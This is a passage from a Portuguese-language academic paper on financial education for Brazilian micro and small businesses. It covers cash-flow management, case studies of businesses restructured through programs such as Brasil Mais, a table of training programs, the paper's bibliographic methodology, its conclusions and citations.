<p class="wp-block-paragraph">A tomada de decisões é um processo diário na vida de qualquer empreendedor, e envolve escolhas que podem impactar diretamente na sobrevivência e crescimento da empresa.&nbsp;</p>



<p class="wp-block-paragraph">A educação financeira capacita o gestor a compreender indicadores-chave, como margem de lucro, ponto de equilíbrio, custo fixo e variável, auxiliando na escolha de estratégias mais adequadas para cada fase do negócio. Esse conhecimento reduz a influência da intuição ou do improviso nas decisões e fortalece a capacidade analítica do empreendedor (Gitman; Zutter, 2010).&nbsp;</p>



<p class="wp-block-paragraph">Para Assaf Neto (2014) as decisões mais conscientes ajudam na prevenção de erros comuns, como o uso inadequado de recursos de capital de giro ou a contratação de dívidas sem planejamento prévio. Com base em dados financeiros sólidos, o empreendedor consegue definir prioridades e metas de forma mais estruturada, elevando as chances de sucesso do empreendimento.&nbsp;</p>



<p class="wp-block-paragraph">Segundo informações do Sebrae (2020) um dos pilares da boa gestão financeira é o domínio do fluxo de caixa. A ausência de controle sobre entradas e saídas financeiras compromete a capacidade da empresa de cumprir com suas obrigações e de planejar investimentos. Com educação financeira, o empreendedor aprende a utilizar ferramentas como o fluxo de caixa projetado, diário e acumulado, fundamentais para avaliar a saúde financeira do negócio e antecipar períodos críticos.&nbsp;</p>



<p class="wp-block-paragraph">Ainda sim, para os autores Oliveira e Silva (2021) o controle do fluxo de caixa também permite maior previsibilidade sobre as necessidades financeiras da empresa. Dessa forma, é possível evitar a tomada de empréstimos em momentos de urgência, geralmente com taxas de juros mais altas. Um bom planejamento financeiro auxilia na construção de uma reserva de emergência e na definição de ciclos financeiros, como datas ideais para compras e recebimentos.&nbsp;</p>



<p class="wp-block-paragraph">Consoante a isso, considera-se em dados que muitos empreendedores recorrem ao crédito de maneira indiscriminada, comprometendo o equilíbrio financeiro de suas empresas. A educação financeira proporciona instrumentos para análise crítica de financiamentos, avaliação de taxas de juros e identificação das melhores opções de crédito, ajudando a evitar o endividamento excessivo (Gitman; Zutter, 2010).&nbsp;</p>



<p class="wp-block-paragraph">O conhecimento sobre gestão de contas a receber e a pagar ajuda na diminuição da inadimplência. Empreendedores mais preparados implementam políticas eficazes de cobrança e renegociação, bem como estratégias para concessão responsável de crédito aos clientes. Isso impacta diretamente no fluxo de caixa e na saúde econômica da empresa (Oliveira; Silva, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Segundo dados do SEBRAE, cerca de 30% das MPEs que encerram suas atividades alegam problemas relacionados ao acúmulo de dívidas ou à falta de planejamento financeiro como causa principal do encerramento (Sebrae, 2020).&nbsp;</p>



<p class="wp-block-paragraph">Posto isso, os empreendedores que dominam conceitos de educação financeira têm maior capacidade de identificar desperdícios, otimizar processos e planejar investimentos de forma mais eficiente. Isso contribui para o aumento da margem de lucro e para a geração de valor de forma sustentável. A prática da educação financeira também permite precificar corretamente produtos e serviços, levando em consideração todos os custos envolvidos na operação (Assaf Neto, 2014).&nbsp;</p>



<p class="wp-block-paragraph">A sustentabilidade do negócio não depende apenas de boas vendas, mas da manutenção de uma estrutura financeira sólida e resiliente. Conhecimentos como análise de demonstrativos contábeis, controle de estoque e gestão de custos fixos e variáveis permitem ao empreendedor desenvolver uma visão mais estratégica do seu negócio, contribuindo para sua permanência e crescimento no mercado (Oliveira; Silva, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Assim, a educação financeira se apresenta não apenas como uma ferramenta de gestão, mas como um diferencial competitivo e um caminho para a consolidação de empresas mais sólidas, inovadoras e preparadas para enfrentar os desafios econômicos contemporâneos (Sebrae, 2020).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.4</strong><strong> </strong><strong>Educação Financeira como Ferramenta de Sustentabilidade Econômica&nbsp;</strong></p>



<p class="wp-block-paragraph">Segundo o Sebrae (2020) a sustentabilidade econômica refere-se à capacidade de um negócio manter-se financeiramente viável ao longo do tempo, garantindo não apenas sua sobrevivência, mas também sua expansão de forma equilibrada e responsável. Nesse contexto, a educação financeira surge como uma ferramenta fundamental para o fortalecimento da autonomia dos empreendedores e para a criação de estratégias que garantam a perenidade das atividades empresariais.&nbsp;</p>



<p class="wp-block-paragraph">Os empreendedores com domínio de conceitos financeiros básicos e intermediários conseguem organizar seus recursos, planejar investimentos e evitar desperdícios. Isso permite que as empresas construam uma base sólida para suportar períodos de instabilidade econômica, como recessões, crises sanitárias ou variações de mercado. O conhecimento financeiro fortalece o senso de controle e proporciona segurança nas decisões estratégicas (Oliveira; Silva, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Para Silva (2022) a sustentabilidade econômica também se relaciona à capacidade de gerar valor contínuo, tanto para os proprietários quanto para colaboradores, clientes e a comunidade. Os pequenos negócios financeiramente bem geridos conseguem manter empregos, pagar fornecedores em dia e cumprir com suas obrigações fiscais, fortalecendo o ecossistema local e regional. Assim, a educação financeira promove um ciclo virtuoso de crescimento econômico sustentável.&nbsp;</p>



<p class="wp-block-paragraph">O domínio da gestão financeira facilita o acesso a crédito e a investimentos externos. Instituições financeiras, investidores e programas de apoio tendem a privilegiar empresas com demonstrativos financeiros organizados e com histórico de responsabilidade fiscal. A educação financeira, nesse caso, atua como um diferencial competitivo, aumentando a atratividade da empresa no mercado (Gitman; Zutter, 2010).&nbsp;</p>



<p class="wp-block-paragraph">Segundo o Sebrae (2020), empreendedores que participam de capacitações em finanças apresentam maiores índices de sobrevivência empresarial após os dois primeiros anos de atividade – período considerado crítico para as micro e pequenas empresas. Isso demonstra que a educação financeira não é apenas um conhecimento teórico, mas uma ferramenta de aplicação direta, que contribui para a estabilidade e continuidade do negócio.&nbsp;</p>



<p class="wp-block-paragraph">A educação financeira, portanto, não deve ser vista como um complemento, mas como parte central da estratégia de gestão. Incorporar práticas financeiras saudáveis, como controle de custos, formação de preços justos, reinvestimento de lucros e planejamento tributário, é essencial para transformar um pequeno negócio em um empreendimento economicamente sustentável (Silva, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>PEQUENOS NEGÓCIOS QUE SE REESTRUTURARAM COM BASE EM EDUCAÇÃO FINANCEIRA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A educação financeira tem se mostrado uma ferramenta poderosa para transformar a realidade de pequenos negócios. As empresas que enfrentavam dificuldades estruturais conseguiram se reorganizar, evitar falência e conquistar estabilidade por meio de capacitação financeira.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Ao evidenciar melhor conceitos como fluxo de caixa, formação de preço e controle de despesas, empreendedores passaram a tomar decisões mais estratégicas e sustentáveis, impactando diretamente a saúde econômica de seus negócios (SEBRAE, 2020).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.1</strong> <strong>Casos e Exemplos Práticos de Transformações Positivas&nbsp;</strong></p>



<p class="wp-block-paragraph">Primeiramente, o exemplo significativo é o do Bar Caiçara, localizado no Rio de Janeiro, que enfrentou sérias dificuldades financeiras durante a pandemia da COVID-19. Ao participar do programa “Brasil Mais”, promovido pelo SEBRAE-RJ, os gestores receberam consultoria em gestão e finanças, reorganizaram o fluxo de caixa e ajustaram os custos operacionais. Como resultado, o negócio conseguiu manter os funcionários, renegociar com fornecedores e continuar funcionando mesmo durante a crise<sup>11</sup>.</p>



<p class="wp-block-paragraph">Ainda segundo dados do Diário do Rio (2024) outro caso bem-sucedido é o do estúdio Espaço Clean Pilates, também do Rio de Janeiro, que, com apoio do mesmo programa, passou a implementar um acompanhamento financeiro diário. A prática permitiu maior controle sobre receitas e despesas, possibilitando a criação de uma reserva financeira e planejamento para expansão do negócio. A educação financeira foi fundamental para que o estúdio deixasse de operar no improviso e passasse a atuar com estratégias sólidas.&nbsp;</p>



<p class="wp-block-paragraph">A escola de idiomas System Idiomas, localizada em Maceió, também passou por um processo de reestruturação com base na gestão financeira. Por meio de treinamentos voltados à organização financeira, à precificação correta e à diversificação de fontes de receita, a escola se tornou mais rentável e estruturada, possibilitando a expansão de unidades e a padronização do ensino, mesmo em um mercado competitivo.<sup>12</sup>&nbsp;</p>



<p class="wp-block-paragraph">A empresa Biotecno, especializada em equipamentos para conservação de vacinas, com sede no Rio Grande do Sul, também colheu bons frutos ao investir em capacitação interna de sua equipe. Os treinamentos em gestão e finanças proporcionaram à empresa um controle mais rigoroso dos custos e uma visão estratégica do processo produtivo, resultando em inovação e aumento da competitividade no mercado nacional<sup>13</sup>.</p>



<p class="wp-block-paragraph">Posto isso, os casos evidenciam que o conhecimento financeiro pode ser um diferencial crucial para empresas de pequeno porte, independentemente do setor de atuação. Segundo Silva (2022) a&nbsp; educação financeira capacita os gestores a identificar gargalos, evitar endividamentos desnecessários e investir com mais segurança, o que contribui diretamente para a longevidade das empresas.</p>



<p class="wp-block-paragraph"><strong>5.2</strong> <strong>Programas públicos ou privados de capacitação financeira</strong></p>



<p class="wp-block-paragraph">O Programa Brasil Mais Produtivo tem como objetivo principal atrair micro, pequenas e médias empresas (MPMEs) dos setores industrial, comercial e de serviços que buscam aumentar sua competitividade e eficiência<sup>14</sup>. Contando com o apoio técnico da Agência Brasileira de Desenvolvimento Industrial (ABDI), o programa oferece assistência especializada focada em gestão, otimização de processos e transformação digital, visando impulsionar o setor produtivo no Brasil. A respectiva iniciativa representa uma estratégia para fortalecer as MPMEs, que são responsáveis por uma parcela significativa da economia nacional<sup>15</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Com base nos dados do Sebrae (2023) as iniciativas mais relevantes no Brasil, destaca-se o Programa Brasil Mais, criado pelo SEBRAE em parceria com o Governo Federal. O programa oferece consultoria personalizada para micro e pequenas empresas, com foco em melhoria de gestão, inovação e controle financeiro. Segundo o SEBRAE-RJ, mais de 3.000 negócios participaram do programa entre 2020 e 2023, e 82% deles reportaram melhoria em seus indicadores financeiros após a consultoria.&nbsp;</p>



<p class="wp-block-paragraph">O Brasil Mais Produtivo é coordenado pelo Ministério do Desenvolvimento, Indústria, Comércio e Serviços (MDIC) e conta com a parceria do SENAI, Sebrae, Agência Brasileira de Desenvolvimento Industrial (ABDI), Financiadora de Estudos e Projetos (FINEP), Empresa Brasileira de Pesquisa e Inovação Industrial (EMBRAPII) e Banco Nacional de Desenvolvimento Econômico e Social (BNDES). A ampla rede de parceiros garante a diversidade de competências técnicas e o alcance necessário para atender um grande número de empresas em todo o país.&nbsp;</p>



<p class="wp-block-paragraph">Em entrevista concedida à editoria “Explica aí, ABDI”, Adryelle Pedrosa, gerente da Unidade de Transformação Digital da ABDI, destacou que o diferencial do programa está nos diagnósticos personalizados que são adaptados às características específicas de cada empresa, levando em conta seu setor de atuação e estágio de desenvolvimento. Segundo Pedrosa, “esses diagnósticos permitem alinhar as estratégias de gestão e produtividade às realidades de cada empresa, garantindo intervenções mais eficazes e resultados duradouros”. Com as inscrições&nbsp;abertas, o programa surge como uma oportunidade estratégica para empresas que desejam aprimorar seus processos internos e aumentar sua competitividade no mercado<sup>16</sup>.&nbsp;</p>



<p class="wp-block-paragraph">No que diz respeito às consultorias especializadas, micro, pequenas e médias empresas industriais têm acesso às consultorias em manufatura enxuta e eficiência energética. Ocasionalmente, essas consultorias são direcionadas à otimização de processos produtivos e à redução de desperdícios, contribuindo para que as empresas aumentem sua eficiência e competitividade frente ao mercado. Tal apoio técnico é crucial para que as indústrias possam modernizar suas operações e reduzir custos sem comprometer a qualidade dos produtos.&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico personalizado é um ponto-chave do programa, pois permite identificar os principais pontos de melhoria de cada empresa. O Brasil Mais Produtivo oferece três modalidades de atendimento: melhoria de gestão, otimização de processos industriais com foco em eficiência energética e manufatura enxuta, e transformação digital. Antes da implementação das ações, os diagnósticos são realizados para mapear as necessidades específicas, considerando o setor e o estágio da empresa, possibilita direcionar as soluções de forma assertiva, maximizando os resultados e promovendo avanços concretos de acordo com a realidade de cada negócio.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong> – Programas Públicos e Privados de Capacitação Financeira</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Programa&nbsp;</strong></td><td><strong>Instituição Responsável&nbsp;</strong></td><td><strong>Objetivo Principal&nbsp;</strong></td><td><strong>Resultados Reportados&nbsp;</strong></td></tr><tr><td><strong>Brasil Mais&nbsp;</strong><strong>Produtivo</strong>&nbsp;</td><td>MDIC, Sebrae,&nbsp;SENAI, ABDI,&nbsp;BNDES, FINEP&nbsp;</td><td>Melhorar gestão, reduzir desperdícios, aumentar produtividade&nbsp;</td><td>Aumento da produtividade e redução de custos em empresas industriais e de serviços<sup>17</sup>.&nbsp;</td></tr><tr><td><strong>Educação Financeira para Empreendedores</strong>&nbsp;</td><td>Serasa Experian e Sebrae&nbsp;</td><td>Capacitar empreendedores para controle financeiro e crédito consciente&nbsp;</td><td>Formação gratuita para MPEs e MEIs com foco em planejamento financeiro e acesso responsável ao crédito<sup>18</sup>.&nbsp;</td></tr></tbody></table></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Descomplica&nbsp;</strong><strong>MPE</strong>&nbsp;</td><td>Sebrae Nacional&nbsp;</td><td>Oferecer trilhas de aprendizagem para melhorar a gestão do negócio&nbsp;</td><td>Empreendedores aprimoram habilidades financeiras com cursos online acessíveis e gratuitos<sup>19</sup>.&nbsp;</td></tr><tr><td><strong>Empretec</strong>&nbsp;</td><td>ONU/Sebrae&nbsp;</td><td>Desenvolver o comportamento empreendedor e a gestão do negócio&nbsp;</td><td>Aumenta taxa de sucesso de negócios e prepara empreendedores para tomada de decisões mais eficientes<sup>20</sup>.&nbsp;</td></tr><tr><td><strong>Ali – Agente Local de Inovação</strong>&nbsp;</td><td>Sebrae&nbsp;</td><td>Consultoria para melhorar gestão, inovação e finanças&nbsp;</td><td>Mais de 300 mil empresas atendidas com melhorias em indicadores de controle e rentabilidade<sup>21</sup>.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Dados da Pesquisa (2025)&nbsp;</p>



<p class="wp-block-paragraph">Destaca-se também a parceria entre o SEBRAE e a Serasa Experian, que resultou na criação da plataforma “Aprenda Serasa Sebrae”. O projeto disponibiliza conteúdos gratuitos sobre finanças, crédito consciente e negociação de dívidas. Até agosto de 2021, mais de 5,3 milhões de micro e pequenas empresas haviam sido impactadas pela iniciativa, muitas delas utilizando as ferramentas da plataforma para sair da inadimplência e recuperar a capacidade de investimento<sup>22</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Além dos programas públicos, iniciativas privadas também têm se destacado. A plataforma G4 Educação, fundada por empreendedores de sucesso, oferece treinamentos com foco em gestão de empresas em crescimento acelerado. Os cursos incluem temas como fluxo de caixa, precificação e capital de giro. Segundo dados da própria empresa, em 2024 a G4 alcançou uma estimativa de R$ 315 milhões em faturamento, impactando diretamente a trajetória de milhares de pequenos e médios empresários<sup>23</sup>&nbsp;</p>



<p class="wp-block-paragraph">O SEBRAE (2023) também oferece uma variedade de cursos online gratuitos voltados à educação financeira, como o curso “Gestão Financeira”, que capacita o empreendedor a controlar receitas, despesas, aplicar capital de giro e usar ferramentas de fluxo de caixa. As formações por intermédio desses cursos têm se mostrado eficazes principalmente para empreendedores iniciantes ou com dificuldades de acesso à consultoria presencial.&nbsp;</p>



<p class="wp-block-paragraph">Posto isso, programas como esses demonstram que a educação financeira pode ser democratizada e adaptada a diferentes perfis de empreendedores. Consequentemente, esses fornecem ferramentas essenciais para que o pequeno empresário compreenda sua realidade financeira, tome decisões baseadas em dados e consiga superar momentos de crise com maior preparo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente pesquisa caracterizou-se como bibliográfica, de abordagem qualitativa, baseada na análise de material já publicado, com o intuito de compreender a influência da educação financeira na sustentabilidade das micro e pequenas empresas (MPEs) no Brasil. Segundo Gil (2008), a pesquisa bibliográfica é desenvolvida com base em material já elaborado, constituído principalmente por livros e artigos científicos, sendo indicada para a formulação de fundamentos teóricos e para a identificação de lacunas existentes sobre determinado tema. Assim, optou-se por essa metodologia com o objetivo de reunir e discutir os principais conceitos, teorias e evidências empíricas disponíveis sobre gestão financeira, práticas sustentáveis e educação financeira aplicadas às MPEs.&nbsp;</p>



<p class="wp-block-paragraph">As fontes de dados foram selecionadas a partir de bases acadêmicas eletrônicas e bibliotecas digitais, como o Google Acadêmico, a SciELO (Scientific Electronic Library Online), o Portal de Periódicos da CAPES, a DOAJ (Directory of Open Access Journals) e a Biblioteca Digital Brasileira de Teses e Dissertações (BDTD). A escolha dessas plataformas deveu-se à sua ampla aceitação científica, à confiabilidade e à variedade de publicações atualizadas. Para garantir a relevância e a atualidade dos conteúdos, foram considerados trabalhos publicados entre os anos de 2020 e 2025.&nbsp;</p>



<p class="wp-block-paragraph">Foram utilizados como descritores de busca os seguintes termos: “educação financeira”, “gestão financeira”, “sustentabilidade empresarial”, “microempresas”, “pequenas empresas” e “planejamento financeiro”. Esses descritores foram combinados entre si com o uso de operadores booleanos, permitindo uma filtragem mais precisa dos materiais relacionados à temática. Além das fontes científicas, também foram incluídos documentos técnicos de órgãos como o SEBRAE (Serviço Brasileiro de Apoio às Micro e Pequenas Empresas), o IBGE (Instituto Brasileiro de Geografia e Estatística) e o Banco Central do Brasil, que oferecem dados empíricos e diagnósticos relevantes sobre o comportamento financeiro das MPEs brasileiras.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos materiais teve como critérios de inclusão: a pertinência com o tema, a atualidade, o rigor científico e a credibilidade dos autores e instituições. Trabalhos que não abordassem diretamente a relação entre educação financeira e gestão de MPEs foram descartados. O processo de leitura foi realizado de forma sistemática, com o objetivo de extrair conceitos-chave, resultados de pesquisas anteriores e apontamentos críticos dos autores.&nbsp;</p>



<p class="wp-block-paragraph">Conforme destaca Lakatos e Marconi (2017), a pesquisa bibliográfica não apenas amplia o conhecimento sobre determinado assunto, mas também contribui para a formação de um quadro teórico consistente, fundamental para a sustentação da argumentação científica. Com base nisso, a análise do material foi feita por meio da análise de conteúdo temática, permitindo identificar os principais desafios enfrentados pelas MPEs na área financeira, bem como as contribuições da educação financeira para a promoção da sustentabilidade e da longevidade empresarial.&nbsp;</p>



<p class="wp-block-paragraph">A literatura consultada demonstrou que autores como Gitman (2010) e Assaf Neto (2021) reforçam a importância da capacitação financeira para a boa gestão dos recursos e a tomada de decisões eficazes nos pequenos negócios. Da mesma forma, estudos como o de Oliveira et al. (2022) evidenciaram que empresários com maior grau de instrução financeira apresentam menor índice de inadimplência, além de desenvolverem estratégias mais eficientes de fluxo de caixa e reinvestimento.&nbsp;</p>



<p class="wp-block-paragraph">Desse modo, a metodologia bibliográfica possibilitou uma investigação ampla e fundamentada sobre os impactos da educação financeira na sustentabilidade das MPEs, contribuindo para o entendimento dos fatores que influenciam sua sobrevivência no mercado e oferecendo subsídios teóricos para futuras intervenções e políticas públicas voltadas ao setor.&nbsp;</p>



<p class="wp-block-paragraph"><strong>7.</strong> <strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A educação financeira tem se revelado um fator decisivo para a sustentabilidade das micro e pequenas empresas, sobretudo em um cenário econômico cada vez mais dinâmico e desafiador. Ao longo do estudo, foi possível observar que o conhecimento adequado sobre gestão financeira possibilita aos empreendedores uma tomada de decisão mais consciente, o planejamento eficaz do fluxo de caixa, a redução do endividamento e a melhora da lucratividade. Esses elementos são fundamentais para a sobrevivência e o crescimento dos negócios em ambientes competitivos e, por vezes, adversos.&nbsp;</p>



<p class="wp-block-paragraph">Os casos práticos apresentados demonstram que a aplicação efetiva da educação financeira se traduz em transformações reais e positivas, permitindo a reestruturação de empresas que enfrentavam crises financeiras. Iniciativas como o programa “Brasil Mais”, a plataforma “Aprenda Serasa Sebrae” e outras capacitações promovidas por instituições públicas e privadas têm potencializado essas mudanças, democratizando o acesso ao conhecimento e ampliando o impacto para milhares de pequenos negócios.&nbsp;</p>



<p class="wp-block-paragraph">Em consonância a isso, a educação financeira atua como uma ferramenta estratégica para a sustentabilidade econômica, pois fomenta uma cultura empresarial pautada na responsabilidade fiscal, no controle rigoroso de custos e na visão de longo prazo. Empreendedores que dominam esses conceitos conseguem não apenas superar crises, mas também investir em inovação e expandir suas atividades, promovendo o desenvolvimento local e nacional.&nbsp;</p>



<p class="wp-block-paragraph">Perante o exposto, fortalecer programas de capacitação financeira e incentivar a busca por conhecimento neste campo é essencial para garantir que as micro e pequenas empresas se tornem mais resilientes, competitivas e sustentáveis. A educação financeira, dessa forma, deve ser vista não apenas como um complemento, mas como um pilar central da gestão empresarial para pequenos negócios que desejam prosperar e contribuir significativamente para a economia brasileira.&nbsp;</p>



<hr class="wp-block-separator alignwide has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><sup>3</sup>MAICOM. 92,4% das empresas no Brasil são individuais, micro e de pequeno porte. ABC Repórter. 2022. Disponível em: . Acesso em: 13 mar. 2025.</p>



<p class="wp-block-paragraph"><sup>5</sup>BRASIL. Decreto n° 7963, de 15 de março de 2013. Brasília, DF: Casa Civil, 2013. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato2011- 2014/2013/decreto/d7963.htm. Acesso em: 01 maio. 2025.</p>



<p class="wp-block-paragraph"><sup>6</sup>BRASIL. Decreto n° 10.393 de 9 de junho de 2020. Brasília, DF: Casa Civil, 2020. Disponível em: http://www.planalto.gov.br/ccivil_03/_Ato2019- 2022/2020/Decreto/D10393.htm. Acesso em: 01 mai. 2025</p>



<p class="wp-block-paragraph"><sup>7</sup>HISRICH, Robert D.; PETERS, Michael P.; SHEPHERD, Dean A. Empreendedorismo-9. São Paulo: Amgh Editora, 2014, p 11.-20.</p>



<p class="wp-block-paragraph"><sup>8</sup>SEBRAE. Participação das Micro e Pequenas Empresas na Economia Brasileira. Brasília: 2014. Disponível em: https://m.sebrae.com.br/Sebrae/Portal%20Sebrae/Estudos%20e%20Pesquisas/Participacao%20das%20micro%20e%20pequenas%20empresas.pdf. Acesso em 30 de março de 2025.</p>



<p class="wp-block-paragraph"><sup>9</sup>SEBRAE. Dia da Micro e Pequena Empresa evidencia a importância dos empreendedores para o Brasil. ASN Nacional &#8211; Agência Sebrae de Notícias. Disponível em: . Acesso em: 13 mar. 2025.</p>



<p class="wp-block-paragraph"><sup>10</sup>SEBRAE. A taxa de sobrevivência das empresas no Brasil. 2023. Disponível em: https://sebrae.com.br/sites/PortalSebrae/artigos/a-taxa-de-sobrevivencia-das-empresas-no-brasil,d5147a3a415f5810VgnVCM1000001b00320aRCRD. Acesso em: 22 maio 2025.</p>



<p class="wp-block-paragraph"><sup>11</sup>COSTA, Vanessa. Sebrae-RJ inicia programa gratuito de capacitação de micros e pequenas empresas. Diário do Rio, Rio de Janeiro, 8 fev. 2021. Disponível em: https://diariodorio.com/sebrae-rj-inicia-programa-gratuito-de-capacitacao-de-micros-e-pequenas-empresas/. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>12</sup>FONSECA, Mariana. Como elas criaram uma escola de inglês que foi de Alagoas aos EUA. Exame, São Paulo, 10 mar. 2017. Disponível em: https://exame.com/pme/como-elas-criaram-uma-escola-de-ingles-que-foi-de-alagoas-aos-eua/. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>13</sup>BIOTECNO. Fundação de Saúde de Santa Rosa adquire 12 câmaras inteligentes para vacinas. Biotecno, Santa Rosa, 23 set. 2020. Disponível em: https://www.biotecno.com.br/noticia/Fundacao-de-Saude-de-Santa-Rosa-adquire-12-camaras-inteligentes-para-vacinas. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>14</sup>SEBRAE. Programa Brasil Mais: resultados e impactos. Brasília: SEBRAE, 2023. Disponível em: https://www.sebrae.com.br/sites/PortalSebrae. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>15</sup>AGÊNCIA BRASILEIRA DE DESENVOLVIMENTO INDUSTRIAL – ABDI. Explica aí, ABDI: Programa Brasil Mais Produtivo. Disponível em: https://www.abdi.com.br/explica-ai-abdi-bp/. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>16</sup>AGÊNCIA BRASILEIRA DE DESENVOLVIMENTO INDUSTRIAL – ABDI. Explica aí, ABDI: Programa Brasil Mais Produtivo. Disponível em: https://www.abdi.com.br/explica-ai-abdi-bp/. Acesso<br>em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>17</sup>AGÊNCIA BRASILEIRA DE DESENVOLVIMENTO INDUSTRIAL – ABDI. Explica aí, ABDI: Programa Brasil Mais Produtivo. 2023. Disponível em: https://www.abdi.com.br/explica-ai-abdi-bp/. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>18</sup>AGÊNCIA BRASILEIRA DE DESENVOLVIMENTO INDUSTRIAL – ABDI. Explica aí, ABDI: Programa Brasil Mais Produtivo. 2023. Disponível em: https://www.abdi.com.br/explica-ai-abdi-bp/. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>19</sup>SEBRAE. Descomplica MPE. Disponível em: https://www.sebrae.com.br/sites/PortalSebrae/descomplica-mpe. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>20</sup>SEBRAE. Empretec: Desenvolva seu potencial empreendedor. Disponível em: https://www.sebrae.com.br/sites/PortalSebrae/empretec. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>21</sup>SEBRAE. Agentes Locais de Inovação (ALI). Disponível em:<br>https://www.sebrae.com.br/sites/PortalSebrae/ali. Acesso em: 12 jun. 2025. </p>



<p class="wp-block-paragraph"><sup>22</sup>SEBRAE; SERASA. Aprenda Serasa Sebrae: educação financeira para pequenos negócios.Disponível em: https://www.serasa.com.br/empreendedor. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>23</sup>WIKIPÉDIA. G4 Educação. 2025. Disponível em: https://pt.wikipedia.org/wiki/G4_Educa%C3%A7%C3%A3o. Acesso em: 12 jun. 2025.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Abertura de pequenos negócios em 2022 supera os números do período pré-pandemia</strong>.&nbsp;</p>



<p class="wp-block-paragraph">ASN Nacional &#8211; Agência Sebrae de Notícias. Disponível em:&nbsp;&lt;https://agenciasebrae.com.br/dados/abertura-de-pequenos-negocios-em-2022-supera-osnumeros-do-periodo-pre-pandemia/?&gt;. Acesso em: 13 mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">AGÊNCIA BRASILEIRA DE DESENVOLVIMENTO INDUSTRIAL – ABDI. <strong>Explica aí, ABDI: Programa Brasil Mais Produtivo</strong>. Disponível em: <a href="https://www.abdi.com.br/explica-ai-abdi-bp/">https://www.abdi.com.br/explicaai-abdi-bp/.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">AGÊNCIA SEBRAE DE NOTÍCIAS. <strong>Sebrae e Serasa Experian se unem para capacitar empreendedores</strong>. 2023. Disponível em: <a href="https://agenciasebrae.com.br/arquivo/sebrae-e-serasa-experian-se-unem-para-capacitar-empreendedores/">https://agenciasebrae.com.br/arquivo/sebrae-eserasa-experian-se-unem-para-capacitar-empreendedores/.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ASSAF N, Alexandre. LIMA, Guasti. <strong>Fundamentos de Administração Financeira</strong>, 3ª edição. Atlas, 12/2016. VitalBook file.&nbsp;</p>



<p class="wp-block-paragraph">BIOTECNO. <strong>Fundação de Saúde de Santa Rosa adquire 12 câmaras inteligentes para vacinas</strong>. Biotecno, Santa Rosa, 23 set. 2020. Disponível em: <a href="https://www.biotecno.com.br/noticia/Fundacao-de-Saude-de-Santa-Rosa-adquire-12-camaras-inteligentes-para-vacinas">https://www.biotecno.com.br/noticia/Fundacao-de-Saude-de-Santa-Rosa-adquire-12-camarasinteligentes-para-vacinas.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. <strong>Decreto n° 10.393 de 9 de junho de 2020</strong>. Brasília, DF: Casa Civil, 2020. Disponível em: http://www.planalto.gov.br/ccivil_03/_Ato2019- 2022/2020/Decreto/D10393.htm. Acesso em: 01 maio. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. <strong>Decreto n° 7963, de 15 de março de 2013</strong>. Brasília, DF: Casa Civil, 2013. Disponível em: http://www.planalto.gov.br/ccivil_03/_ato2011- 2014/2013/decreto/d7963.htm. Acesso em: 01 maio. 2025.&nbsp;</p>



<p class="wp-block-paragraph">CAPITALIST. <strong>Alô, empresário! Seu negócio pode ganhar consultoria gratuita do Sebrae e Serasa. </strong>Disponível em: https://capitalist.com.br/alo-empresario-seu-negocio-pode-ganharconsultoria-gratuita-do-sebrae-e-serasa/. Acesso em: 12 jun. 2025.&nbsp;</p>



